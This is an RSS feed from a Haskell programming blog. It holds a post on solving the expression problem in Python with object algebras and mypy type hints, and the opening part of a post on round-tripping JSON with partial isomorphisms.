<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"
    xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>The pony barn: Haskell and ponies</title>
        <link>http://ponies.io/</link>
        <description><![CDATA[Ocassional posts about Haskell and Haskell related things, like ponies!]]></description>
        <atom:link href="http://ponies.io//rss.xml" rel="self"
                   type="application/rss+xml" />
        <lastBuildDate>Wed, 15 Jul 2015 00:00:00 UT</lastBuildDate>
        <item>
    <title>Solving the expression problem in Python (object algebras and mypy static types)</title>
    <link>http://ponies.io//posts/2015-07-15-solving-the-expression-problem-in-python-object-algebras-and-mypy-static-types.html</link>
    <description><![CDATA[<p>Object algebras are a solution to the expression problem for any object oriented languages that supports generics. This post will introduce object algebras, the expression problem, and then implement a solution to the expression problem in Python with mypy, an optional static type checker for Python that’s inspired some standardisation on type hinting in the form of <a href="https://www.python.org/dev/peps/pep-0484/">PEP 0484</a>.</p>
<h3 id="the-expression-problem">The expression problem</h3>
<p>The <a href="https://en.wikipedia.org/wiki/Expression_problem">expression probem</a> is a “new name for an old problem”. It was originally described by Phillip Wadler <a href="http://homepages.inf.ed.ac.uk/wadler/papers/expression/expression.txt">in an email to a java genericity mailing list</a> on Nov 12, 1998:</p>
<blockquote>
<p>The goal is to define a datatype by cases, where one can add new cases to the datatype and new functions over the datatype, without recompiling existing code, and while retaining static type safety (e.g., no casts).</p>
</blockquote>
<p>The requirements to be able to say that you have solved the expression problem are more concretely described in the paper “<a href="https://www.cs.utexas.edu/~wcook/Drafts/2012/ecoop2012.pdf">Extensibility for the Masses</a>”:</p>
<ol style="list-style-type: decimal">
<li><p><em>Extensibility in both dimensions</em>: A solution must allow the addition of new data variants and new operations and support extending existing operations.</p></li>
<li><p><em>Strong static type safety</em>: A solution must prevent applying an operation to a data variant which it cannot handle using static checks.</p></li>
<li><p><em>No modification or duplication</em>: Existing code must not be modified nor duplicated.</p></li>
<li><p><em>Separate compilation and type-checking</em>: Safety checks or compilation steps must not be deferred until link or runtime.</p></li>
<li><p><em>Independent extensibility</em>: It should be possible to combine independently developed extensions so that they can be used jointly.</p></li>
</ol>
<p>It’s a little hard to satisfy the static safety checks in Python without adding types that can be checked statically (without executing the code). To address this shortcoming, we will use the excellent <a href="http://mypy-lang.org/">mypy</a> type checker.</p>
<h3 id="static-type-checking-with-mypy">Static type checking with <a href="http://mypy-lang.org/">mypy</a></h3>
<p><a href="http://mypy-lang.org/">Mypy</a> is a static type checker for Python. It’s got support for generics and an analog of virtual methods. This will be enough to do some interesting things, as we will soon see.</p>
<p>An important feature to note is that every <a href="http://mypy-lang.org/">mypy</a> program is still a valid python 3.x program. The types are entirely optional and you’re free to run the program if it doesn’t type check, it will probably just explode at runtime. Let’s look at an example, this is a normal python function:</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">def</span> greeting(name):
    <span class="kw">return</span> <span class="st">&#39;Hello, {}&#39;</span>.<span class="dt">format</span>(name)</code></pre>
<p>Below is the same example, but now we’re going to annotate it to say “this is a function that takes a string, and returns a string”. If we try to pass something that is not a string to this function, <a href="http://mypy-lang.org/">mypy</a> will be able to tell you that this won’t work <em>before</em> you run your program.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">def</span> greeting(name: <span class="dt">str</span>) -&gt; <span class="dt">str</span>:
    <span class="kw">return</span> <span class="st">&#39;Hello, {}&#39;</span>.<span class="dt">format</span>(name)</code></pre>
<p>We can do more interesting things too, including checking subtyping relations. Here, we say “names is anything that is Iterable over, and produces a string on each iteration.”</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="ch">from</span> typing <span class="ch">import</span> Iterable

<span class="kw">def</span> greet_all(names: Iterable[<span class="dt">str</span>]) -&gt; <span class="ot">None</span>:
    <span class="kw">for</span> name in names:
        <span class="dt">print</span>(<span class="st">&#39;Hello, {}&#39;</span>.<span class="dt">format</span>(name))</code></pre>
<p>“Iterable” here is an example of a higher kinded type, which you can think of as a function from a type to another type. Here we are giving it the str type and the result is a type that denotes things iterable over strings. More on this in a bit, when we define our own generics.</p>
<h3 id="object-algebras">Object algebras</h3>
<p>Object algebras are the solution to the expression problem chosen in the paper “<a href="https://www.cs.utexas.edu/~wcook/Drafts/2012/ecoop2012.pdf">Extensibility for the Masses</a>”. This is the recipe we will follow to try and solve the expression problem in Python.</p>
<p>Interestingly, object algebras map more or less directly to the final tagless solution to the expression problem, which is another well-known solution popularised by the paper “<a href="http://okmij.org/ftp/tagless-final/">Finally Tagless, Partially Evaluated: Tagless Staged Interpreters for Simpler Typed Languages</a>”.</p>
<p>This mapping is a desirable quality, and much of the “<a href="https://www.cs.utexas.edu/~wcook/Drafts/2012/ecoop2012.pdf">Extensibility for the Masses</a>” paper is centered around explaining the nice algebraic properties you are able to get from such an approach. Object algebras are essentially F-algebras, which have been very well studied in category theory and computer science.</p>
<p>Object algebras are actually pretty simple, and best explained by example. If you know what the Visitor and AbstractFactory “patterns” are, you may begin to see some similarities.</p>
<h3 id="abstract-base-classes-in-python">Abstract base classes in Python</h3>
<p>For our working example, we’re going to implement a simple calculator. This recurring example is sometimes known as “Hutton’s Razor”. The calculator is capable of addition on literals, so we’re able to have “1+1”, “2+1+1”, but not anything non-sensical like “42++”.</p>
<p>We are going to start by implementing the abstract base class (a Python 2.6 thing, <a href="https://www.python.org/dev/peps/pep-3119/">PEP 3119</a>. This base class will describe our calculator data type, and allow us to create multiple ways consuming the information therein.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="ch">from</span> abc <span class="ch">import</span> ABCMeta, abstractmethod

<span class="kw">class</span> AddExpr(metaclass=ABCMeta):
    <span class="ot">@abstractmethod</span>
    <span class="kw">def</span> lit(<span class="ot">self</span>, lit):
        <span class="kw">pass</span>

    <span class="ot">@abstractmethod</span>
    <span class="kw">def</span> add(<span class="ot">self</span>, e1, e2):
        <span class="kw">pass</span></code></pre>
<p>Now we will sprinkle some types on. Note that we introduce a type variable, this is where the “str” type lived in our earlier example with iterators.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="ch">from</span> abc <span class="ch">import</span> ABCMeta, abstractmethod
<span class="ch">from</span> typing <span class="ch">import</span> TypeVar, Generic

T = TypeVar(<span class="st">&#39;T&#39;</span>)

<span class="kw">class</span> AddExpr(Generic[T], metaclass=ABCMeta):
    <span class="ot">@abstractmethod</span>
    <span class="kw">def</span> lit(<span class="ot">self</span>, lit: <span class="dt">int</span>) -&gt; T:
        <span class="kw">pass</span>

    <span class="ot">@abstractmethod</span>
    <span class="kw">def</span> add(<span class="ot">self</span>, e1: T, e2: T) -&gt; T:
        <span class="kw">pass</span></code></pre>
<p>We now have an interface representing some data. This is equivalent in Haskell to:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">AddExpr</span> t <span class="kw">where</span>
<span class="ot">    lit ::</span> <span class="dt">Int</span> <span class="ot">-&gt;</span> t
<span class="ot">    add ::</span> t <span class="ot">-&gt;</span> t <span class="ot">-&gt;</span> t</code></pre>
<p>We can now write a python expression that says “given a thing which looks like AddExpr, I’ll give you some kind of calculation”:</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">def</span> expression(t: AddExpr[T]) -&gt; T:
    <span class="kw">return</span> t.add(t.lit(<span class="dv">1</span>), t.lit(<span class="dv">2</span>))</code></pre>
<p>This little a pretty direct mapping to the final tagless approach in Haskell:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">expression ::</span> <span class="dt">AddExpr</span> t <span class="ot">=&gt;</span> t
expression <span class="fu">=</span> add (lit <span class="dv">1</span>) (lit <span class="dv">2</span>)</code></pre>
<h3 id="doing-something-kind-of-usefull">Doing something (kind of) usefull</h3>
<p>This is a contrived example, so let’s pretend that evaluating these abstract expressions to a resulting integer is something useful that we want to do. This is now as simple as implementing a subclass of AddExpr.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">class</span> AddExprEval(AddExpr[<span class="dt">int</span>]):
    <span class="kw">def</span> lit(<span class="ot">self</span>, lit: <span class="dt">int</span>) -&gt; <span class="dt">int</span>:
        <span class="kw">return</span> lit

    <span class="kw">def</span> add(<span class="ot">self</span>, e1: <span class="dt">int</span>, e2: <span class="dt">int</span>):
        <span class="kw">return</span> e1 + e2</code></pre>
<p>That’s actually pretty clean! Now we can see how the abstract base class is useful as we define <em>another</em> implementation, but this time for printing expressions as strings.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">class</span> AddExprPrint(AddExpr[<span class="dt">str</span>]):
    <span class="kw">def</span> lit(<span class="ot">self</span>, lit: <span class="dt">int</span>) -&gt; <span class="dt">str</span>:
        <span class="kw">return</span> <span class="dt">str</span>(lit)

    <span class="kw">def</span> add(<span class="ot">self</span>, e1: <span class="dt">str</span>, e2: <span class="dt">str</span>):
        <span class="kw">return</span> <span class="st">&quot;(</span><span class="ot">{0}</span><span class="st"> + </span><span class="ot">{1}</span><span class="st">)&quot;</span>.<span class="dt">format</span>(e1, e2)</code></pre>
<p>We can now put all of our pieces together and evaluate the same expression with two different implementations:</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="dt">print</span>(expression(AddExprPrint()))
<span class="dt">print</span>(expression(AddExprEval()))</code></pre>
<pre><code>$ mypy object-alg.py
$ python object-alg.py
(1 + 2)
3
</code></pre>
<h3 id="tick-in-the-static-safety-box">Tick in the static safety box</h3>
<p>If you recall our prerequisites for solving the expression problem, along with extensibility we had some requirements for static safety. Let’s see if we satisfy those:</p>
<ol start="2" style="list-style-type: decimal">
<li><p><em>Strong static type safety</em>: A solution must prevent applying an operation to a data variant which it cannot handle using static checks.</p></li>
<li><p><em>Separate compilation and type-checking</em>: Safety checks or compilation steps must not be deferred until link or runtime.</p></li>
</ol>
<p>Let’s try to run a program that passes an implementation which cannot handle a data variant, and see if we can catch that before running the program and failing at runtime.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">class</span> AddExprIncomplete(AddExpr[<span class="dt">str</span>]):
    <span class="kw">def</span> lit(<span class="ot">self</span>, lit: <span class="dt">int</span>) -&gt; <span class="dt">str</span>:
        <span class="kw">return</span> <span class="dt">str</span>(lit)

    <span class="co"># Missing an implementation for add</span>

<span class="dt">print</span>(expression(AddExprIncomplete()))</code></pre>
<pre><code>$ mypy object-alg.py 
object-alg.py, line 38: Cannot instantiate abstract class &#39;AddExprIncomplete&#39; with abstract method &#39;add</code></pre>
<p>Excellent, it exploded. We’ll repeat this test when we do some extending.</p>
<h3 id="extensibility">Extensibility</h3>
<p>The whole point of the expression problem is to be able to “add new cases to the datatype and new functions over the datatype”. Let’s do that now by extending our calculator to handle multiplication. We will use inheritence and subtyping to get code re-use and satisfy requirements 1, 3 and 5.</p>
<ol style="list-style-type: decimal">
<li><p><em>Extensibility in both dimensions</em>: A solution must allow the addition of new data variants and new operations and support extending existing operations.</p></li>
<li><p><em>No modification or duplication</em>: Existing code must not be modified nor duplicated.</p></li>
<li><p><em>Independent extensibility</em>: It should be possible to combine independently developed extensions so that they can be used jointly.</p></li>
</ol>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">class</span> MultExpr(Generic[T], AddExpr[T], metaclass=ABCMeta):
    <span class="ot">@abstractmethod</span>
    <span class="kw">def</span> mult(<span class="ot">self</span>, e1: T, e2: T) -&gt; T:
        <span class="kw">pass</span>

    <span class="co"># We get lit and add for free from the AddExpr[T] super(meta)class</span></code></pre>
<p>You’ll note that as the MultExpr implementations are a superset of the AddExpr ones, we’re able to use them on both types of expression, and even embed them in our extended data type.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="kw">class</span> MultExprPrint(AddExprPrint, MultExpr[<span class="dt">str</span>]):
    <span class="kw">def</span> mult(<span class="ot">self</span>, e1: <span class="dt">str</span>, e2: <span class="dt">str</span>):
        <span class="kw">return</span> <span class="st">&quot;(</span><span class="ot">{0}</span><span class="st"> x </span><span class="ot">{1}</span><span class="st">)&quot;</span>.<span class="dt">format</span>(e1, e2)
 
<span class="kw">class</span> MultExprEval(AddExprEval, MultExpr[<span class="dt">int</span>]):
    <span class="kw">def</span> mult(<span class="ot">self</span>, e1: <span class="dt">int</span>, e2: <span class="dt">int</span>):
        <span class="kw">return</span> e1 * e2

<span class="kw">def</span> add_expr(t: AddExpr[T]) -&gt; T:
    <span class="kw">return</span> t.add(t.lit(<span class="dv">1</span>), t.lit(<span class="dv">2</span>))

<span class="kw">def</span> mult_expr(t: MultExpr[T]) -&gt; T:
    <span class="kw">return</span> t.mult(add_expr(t), t.lit(<span class="dv">2</span>))

<span class="dt">print</span>(mult_expr(MultExprPrint()))
<span class="dt">print</span>(mult_expr(MultExprEval()))</code></pre>
<pre><code>$ mypy object-alg.py
$ python object-alg.py
((1 + 2) x 2)
6</code></pre>
<p>What about the static safety? Do we still get that? Let’s try evaluating a multiplication expression with something less powerful.</p>
<pre class="sourceCode python"><code class="sourceCode python"><span class="dt">print</span>(mult_expr(AddExprEval()))</code></pre>
<pre><code>$ mypy object-alg.py
object-alg.py, line 61: Argument 1 to &quot;mult_expr&quot; has incompatible type
&quot;AddExprEval&quot;; expected MultExpr[None]</code></pre>
<p>This saved us from an ugly run time error:</p>
<pre><code>$ python object-alg.py
Traceback (most recent call last):
  File &quot;object-alg.py&quot;, line 61, in &lt;module&gt;
    print(mult_expr(AddExprEval()))
  File &quot;object-alg.py&quot;, line 56, in mult_expr
    return t.mult(add_expr(t), t.lit(2))
AttributeError: &#39;AddExprEval&#39; object has no attribute &#39;mult&#39;</code></pre>
<h3 id="maybe-a-little-mypy-bug">Maybe a little <a href="http://mypy-lang.org/">mypy</a> bug</h3>
<p>I may have discovered a little bug whilst playing around with failure cases, I suspect either type variable unification is broken or doesn’t happen. The problem arises if we try to instantiate a subclass that should cause the metaclass’s type variables to fail to unify. This leads to being able to make a mistake that is not caught by <a href="http://mypy-lang.org/">mypy</a>:</p>
<pre class="sourceCode python"><code class="sourceCode python">
<span class="co"># The AddExprPrint super class will result in an incompatible type</span>
<span class="co"># (mixing strings with ints)</span>
<span class="kw">class</span> MultExprEvalBroken(AddExprPrint, MultExpr[<span class="dt">int</span>]):
    <span class="kw">def</span> mult(<span class="ot">self</span>, e1: <span class="dt">int</span>, e2: <span class="dt">int</span>):
        <span class="kw">return</span> e1 * e2</code></pre>
<pre><code>$ mypy object-alg.py
$ python object-alg.py
Traceback (most recent call last):
  File &quot;object-alg.py&quot;, line 65, in &lt;module&gt;
    print(mult_expr(MultExprEvalBroken()))
  File &quot;object-alg.py&quot;, line 56, in mult_expr
    return t.mult(add_expr(t), t.lit(2))
  File &quot;object-alg.py&quot;, line 63, in mult
    return e1 * e2
TypeError: can&#39;t multiply sequence by non-int of type &#39;str&#39;</code></pre>
<p>I haven’t dug further into this.</p>
<h3 id="conclusion">Conclusion</h3>
<p>The expression problem, solved in python! Who’d a thunk it?</p>]]></description>
    <pubDate>Wed, 15 Jul 2015 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2015-07-15-solving-the-expression-problem-in-python-object-algebras-and-mypy-static-types.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>
<item>
    <title>Round tripping JSON with partial isomorphisms (1/2)</title>
    <link>http://ponies.io//posts/2015-03-01-round-tripping-balls-json-1.html</link>
    <description><![CDATA[<p>This two-part post will demonstrate how Thomas Sutton and I applied a paper from 2010 to a real-world problem (it was super effective!). I’ll detail the problem, summarise the paper, and then walk you through our solution. After reading these posts I hope that you’ll be inspired apply this technique when you notice the following problem.</p>
<h4 id="the-problem">The problem</h4>
<p>Writing isomorphic round-trip printer/parsers with the get/put idiom is redundant and error prone.</p>
<p>By get/put I mean that we write two distinct functions to and from the destination format and by isomorphic I mean that going to your foreign format, and then back again should be the same as doing nothing.</p>
<p>In order to clarify, let’s look at an example of get/putting when building an isomorphic printer/parser. Pretend if you will that we’ve been given the task of converting some balls to JSON, the balls can either be bouncy or lumpy.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">Ball</span>
    <span class="fu">=</span> <span class="dt">Lumpy</span>  { _<span class="ot">colour     ::</span> <span class="dt">Text</span>
             , _<span class="ot">lumps      ::</span> [[<span class="dt">Bool</span>]]
             }
    <span class="fu">|</span> <span class="dt">Bouncy</span> { _<span class="ot">bouncyness ::</span> <span class="dt">Double</span> }</code></pre>
<p>It is common knowledge that bouncy balls are happy, whilst lumpy ones are not. This is reflected in the following serialization format.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">[ <span class="dt">Lumpy</span>  {_colour <span class="fu">=</span> <span class="st">&quot;Rainbow&quot;</span>
         , _lumps <span class="fu">=</span> [[<span class="dt">True</span>,<span class="dt">False</span>],[<span class="dt">False</span>,<span class="dt">False</span>]]}
, <span class="dt">Bouncy</span> {_bouncyness <span class="fu">=</span> <span class="fl">3.141592653589793</span>}]</code></pre>
<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell">[
   {
      <span class="st">&quot;colour&quot;</span> <span class="fu">:</span> <span class="st">&quot;Rainbow&quot;</span>,
      <span class="st">&quot;:D&quot;</span> <span class="fu">:</span> false,
      <span class="st">&quot;lumps&quot;</span> <span class="fu">:</span> [[true,false],[false,false]]
   },
   {
      <span class="st">&quot;bouncyness&quot;</span> <span class="fu">:</span> <span class="fl">3.14159265358979</span>,
      <span class="st">&quot;:D&quot;</span> <span class="fu">:</span> true
   }
]</code></pre>
<p>How shall we achieve this? By writing toJSON/fromJSON instances by hand, of course! You may wonder why we don’t just use Generics or TH. The answer to this is that the destination format really should be (and often is) arbitrary.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">instance</span> <span class="dt">FromJSON</span> <span class="dt">Ball</span> <span class="kw">where</span>
<span class="ot">  parseJSON ::</span> <span class="dt">Value</span> <span class="ot">-&gt;</span> <span class="dt">Parser</span> <span class="dt">Ball</span>
  parseJSON (<span class="dt">Object</span> o) <span class="fu">=</span> <span class="kw">do</span>
    happy_ball <span class="ot">&lt;-</span> o <span class="fu">.:</span> <span class="st">&quot;:D&quot;</span>
    <span class="kw">if</span> happy_ball <span class="kw">then</span> parseBouncy <span class="kw">else</span> parseLumpy
   <span class="kw">where</span>
    parseBouncy <span class="fu">=</span>
        <span class="dt">Bouncy</span> <span class="fu">&lt;$&gt;</span> o <span class="fu">.:</span> <span class="st">&quot;bouncyness&quot;</span>
    parseLumpy <span class="fu">=</span>
        <span class="dt">Lumpy</span> <span class="fu">&lt;$&gt;</span> o <span class="fu">.:</span> <span class="st">&quot;colour&quot;</span> <span class="fu">&lt;*&gt;</span> o <span class="fu">.:</span> <span class="st">&quot;lumps&quot;</span>

<span class="kw">instance</span> <span class="dt">ToJSON</span> <span class="dt">Ball</span> <span class="kw">where</span>
<span class="ot">  toJSON ::</span> <span class="dt">Ball</span> <span class="ot">-&gt;</span> <span class="dt">Value</span>
  toJSON (<span class="dt">Lumpy</span> colour lump_map) <span class="fu">=</span>
      object [ <span class="st">&quot;:D&quot;</span>     <span class="fu">.=</span> <span class="dt">True</span>
             , <span class="st">&quot;colour&quot;</span> <span class="fu">.=</span> colour
             , <span class="st">&quot;lumps&quot;</span>  <span class="fu">.=</span> lump_map
             ]
  toJSON (<span class="dt">Bouncy</span> bouncyness) <span class="fu">=</span>
      object [ <span class="st">&quot;:D&quot;</span>         <span class="fu">.=</span> <span class="dt">True</span>
             , <span class="st">&quot;bouncyness&quot;</span> <span class="fu">.=</span> bouncyness
             ]</code></pre>
<p>What’s wrong here? We wrote the same information twice. Not only did I write the same information twice, but it doesn’t even look like they’re the same information! As such, it’s difficult to tell if we made a mistake.</p>
<p>Furthermore, in order to be sure that this is correct we will now have to write a bunch of Abitrary instances and tests so that we can an enter a lucky draw to find a possible problem. Wouldn’t it be nice if we could be correct by construction? Doesn’t it seem theoretically possible to at least palm off the hard work to library authors?</p>
<p>This problem is either a library design issue or a library mis-use issue. Libraries that provide a get/put interface are just fine if they expect users to only ever go one way. This is often not the case and hence the non-optimal interface is uncovered when you want to write a get that is intended to be the inverse of your put. When this use case is considered, the library interface is poor in that it provides a way to define a get that is not equivalent to put. This is the problem we will try to solve.</p>
<h4 id="a-wild-paper-appears">A wild paper appears!</h4>
<p>Thomas and I came up against this exact problem when dealing with “enterprise” JSON (the kind of JSON produced by enormous Java CRM products that like to spit out boolean values as “T”, or “F”). In our dismay, we began searching for solutions with the general idea that:</p>
<p>We want to define get and put at the same time This probably has something to do with composing isomorphisms in some kind of applicative-like syntax. We quickly found Invertible syntax descriptions: Unifying parsing and pretty printing and instantly recognised its relevance. Here’s an excerpt from the abstract:</p>
<p>Parsers and pretty-printers for a language are often quite similar, yet both are typically implemented separately, leading to redundancy and potential inconsistency. We propose a new interface of syntactic descriptions, with which both parser and pretty-printer can be described as a single program.</p>
<p>The paper starts off with a List data type and two implementations of a many combinator that operates on this List. One for Printers, one for Parsers.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">List</span> a
  <span class="fu">=</span> <span class="dt">Nil</span>
  <span class="fu">|</span> <span class="dt">Cons</span> a (<span class="dt">List</span> a)

<span class="kw">type</span> <span class="dt">Printer</span> a <span class="fu">=</span> a <span class="ot">-&gt;</span> <span class="dt">Doc</span>

<span class="ot">printMany ::</span> <span class="dt">Printer</span> a <span class="ot">-&gt;</span> <span class="dt">Printer</span> (<span class="dt">List</span> a)
printMany p list
  <span class="fu">=</span> <span class="kw">case</span> list <span class="kw">of</span>
    <span class="dt">Nil</span>       <span class="ot">-&gt;</span> text <span class="st">&quot;&quot;</span>
    <span class="dt">Cons</span> x xs <span class="ot">-&gt;</span> p x
              <span class="fu">&lt;&gt;</span> printMany p xs

<span class="kw">newtype</span> <span class="dt">Parser</span> a <span class="fu">=</span> <span class="dt">Parser</span> (<span class="dt">String</span> <span class="ot">-&gt;</span> [(a, <span class="dt">String</span>)])

<span class="ot">parseMany ::</span> <span class="dt">Parser</span> a <span class="ot">-&gt;</span> <span class="dt">Parser</span> (<span class="dt">List</span> a)
parseMany p
  <span class="fu">=</span>  const <span class="dt">Nil</span> <span class="fu">&lt;$&gt;</span> text <span class="st">&quot;&quot;</span>
 <span class="fu">&lt;|&gt;</span> <span class="dt">Cons</span>      <span class="fu">&lt;$&gt;</span> p
               <span class="fu">&lt;*&gt;</span> parseMany p</code></pre>
<p>You can probably see where we’re going here, but let me join the dots for you anyway: printMany and parseMany both define the same information with different syntax, wouldn’t it be nice to define them both at once? If we could define them under some kind of unified syntax, then there would be only one definition and there would be no place for inconsistency or redundancy to live. Something like this.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">combined ::</span> <span class="dt">Unicorn</span> x <span class="ot">=&gt;</span> x a <span class="ot">-&gt;</span> x (<span class="dt">List</span> a)
combined p
  <span class="fu">=</span>  magic <span class="dt">Nil</span> <span class="fu">&lt;$&gt;</span> fairies <span class="st">&quot;&quot;</span>
 <span class="fu">&lt;|&gt;</span> <span class="dt">Cons</span>      <span class="fu">&lt;$&gt;</span> p
               <span class="fu">&lt;*&gt;</span> parseMany p</code></pre>
<h4 id="cocontravariance">Co/contravariance</h4>
<p>The first bit of syntax we will tackle is the fmap (&lt;$&gt;) operator, before reading this you will want to understand co/contravariant functors. I recommend reading the beginning of this post</p>
<p>Implementing &lt;$&gt; for parseMany is trivial.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">newtype</span> <span class="dt">Parser</span> a <span class="fu">=</span> <span class="dt">Parser</span> (<span class="dt">String</span> <span class="ot">-&gt;</span> [(a, <span class="dt">String</span>)])

<span class="ot">(&lt;$&gt;) ::</span> (a <span class="ot">-&gt;</span> b) <span class="ot">-&gt;</span> <span class="dt">Parser</span> a <span class="ot">-&gt;</span> <span class="dt">Parser</span> b
f <span class="fu">&lt;$&gt;</span> <span class="dt">Parser</span> p <span class="fu">=</span> <span class="dt">Parser</span> <span class="fu">$</span> (fmap <span class="fu">.</span> first) f <span class="fu">.</span> p</code></pre>
<p>Unfortunately, &lt;$&gt; for printer is impossible to define due to it being contravariant. The difference here is that the universally quantified a appears on the opposite side of the arrow in the data type.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">type</span> <span class="dt">Printer</span> a <span class="fu">=</span> a <span class="ot">-&gt;</span> <span class="dt">Doc</span>

<span class="ot">(&lt;$&gt;) ::</span> (a <span class="ot">-&gt;</span> b) <span class="ot">-&gt;</span> <span class="dt">Printer</span> a <span class="ot">-&gt;</span> <span class="dt">Printer</span> b
(f <span class="fu">&lt;$&gt;</span> <span class="dt">Printer</span> p) a <span class="fu">=</span> error <span class="st">&quot;impossible&quot;</span></code></pre>
<p>Oh noes! We need access to both a function a→b and b→a in order to implement both of these under the same operator. Also, what if we wanted our functions to be partial? Printer and Parser have no way of respecting such partiality intelligently. This is terrible.</p>
<h4 id="enter-the-partial-isomorphism">Enter the Partial Isomorphism</h4>
<p>Let’s jam a→b and b→a into a box and bolt on some partiality. This is an instance of Category, quite trivially. We will call it Iso (not ideal in my opinion). Done, we can go home now.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">Iso</span> a b <span class="fu">=</span> <span class="dt">Iso</span>
    {<span class="ot"> apply   ::</span> a <span class="ot">-&gt;</span> <span class="dt">Maybe</span> b
    ,<span class="ot"> unapply ::</span> b <span class="ot">-&gt;</span> <span class="dt">Maybe</span> a
    }</code></pre>
<p>Wait! We don’t have our syntax yet. Let’s define a typeclass for functors from the category of partial isos to Hask (restricted to f).</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">IsoFunctor</span> f <span class="kw">where</span>
<span class="ot">  (&lt;$&gt;) ::</span> <span class="dt">Iso</span> a b <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b</code></pre>
<p>Now our syntax can be unified and we can just replace (→) with Iso. I would apologise for the overloading of &lt;$&gt; but it wasn’t my idea and I’m equally offended. Let’s not look a gift horse in the mouth, though.</p>
<h4 id="thats-a-funny-looking-applicative">That’s a funny looking Applicative</h4>
<p>In order to parse product types (multiple fields) and recurse, we’re going to need something like an apply (&lt;*&gt;) operator. Let’s start by trying to use the same trick that worked for Iso.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">Applicative</span> <span class="kw">where</span>
<span class="ot">  (&lt;*&gt;) ::</span> f (a <span class="ot">-&gt;</span> b) <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b</code></pre>
<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">UnhelpfulIsoApplicative</span> <span class="kw">where</span>
<span class="ot">  (&lt;*&gt;) ::</span> f (<span class="dt">Iso</span> a b) <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b</code></pre>
<p>We now get stuck trying to define an instance, the type signature is ludicrous.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">type</span> <span class="dt">Printer</span> a <span class="fu">=</span> a <span class="ot">-&gt;</span> <span class="dt">Doc</span>

<span class="kw">instance</span> <span class="dt">UnhelpfulIsoApplicative</span> <span class="dt">Printer</span> <span class="kw">where</span>
<span class="ot">  (&lt;*&gt;) ::</span> (<span class="dt">Iso</span> a b <span class="ot">-&gt;</span> <span class="dt">Doc</span>) <span class="ot">-&gt;</span> (a <span class="ot">-&gt;</span> <span class="dt">Doc</span>) <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> <span class="dt">Doc</span>
  (f <span class="fu">&lt;*&gt;</span> g) b <span class="fu">=</span> error <span class="st">&quot;impossible!&quot;</span>
<span class="dt">The</span> solution<span class="fu">?</span> <span class="dt">Just</span> throw tuples at it and frob the fixity, duh<span class="fu">!</span>

<span class="kw">class</span> <span class="dt">Applicative</span> f <span class="kw">where</span>
<span class="ot">  (&lt;*&gt;) ::</span> f (a <span class="ot">-&gt;</span> b) <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b</code></pre>
<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">ProductFunctor</span> f <span class="kw">where</span>
  <span class="kw">infixr</span> <span class="dv">6</span> <span class="fu">&lt;*&gt;</span>
<span class="ot">  (&lt;*&gt;) ::</span> f a <span class="ot">-&gt;</span> f b <span class="ot">-&gt;</span> f (a, b)</code></pre>
<p>To make it obvious what we’re doing here, I’ll show you how this can look much like the applicative you are used to seeing. Let’s define a function f that takes a constructor of arity three and returns a thing. Then we take these arguments wrapped in functors and produce a thing wrapped in a functor. This is clearer in code. Again, take note that &lt;*&gt; is being overloaded here and means two different things.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">f ::</span> <span class="dt">Applicative</span> f
  <span class="ot">=&gt;</span> (a <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> c <span class="ot">-&gt;</span> d)
  <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b <span class="ot">-&gt;</span> f c <span class="ot">-&gt;</span> f d
f ctor fa fb fc <span class="fu">=</span>   ctor <span class="fu">&lt;$&gt;</span> fa  <span class="fu">&lt;*&gt;</span> fb  <span class="fu">&lt;*&gt;</span> fc
f ctor fa fb fc <span class="fu">=</span> ((ctor <span class="fu">&lt;$&gt;</span> fa) <span class="fu">&lt;*&gt;</span> fb) <span class="fu">&lt;*&gt;</span> fc</code></pre>
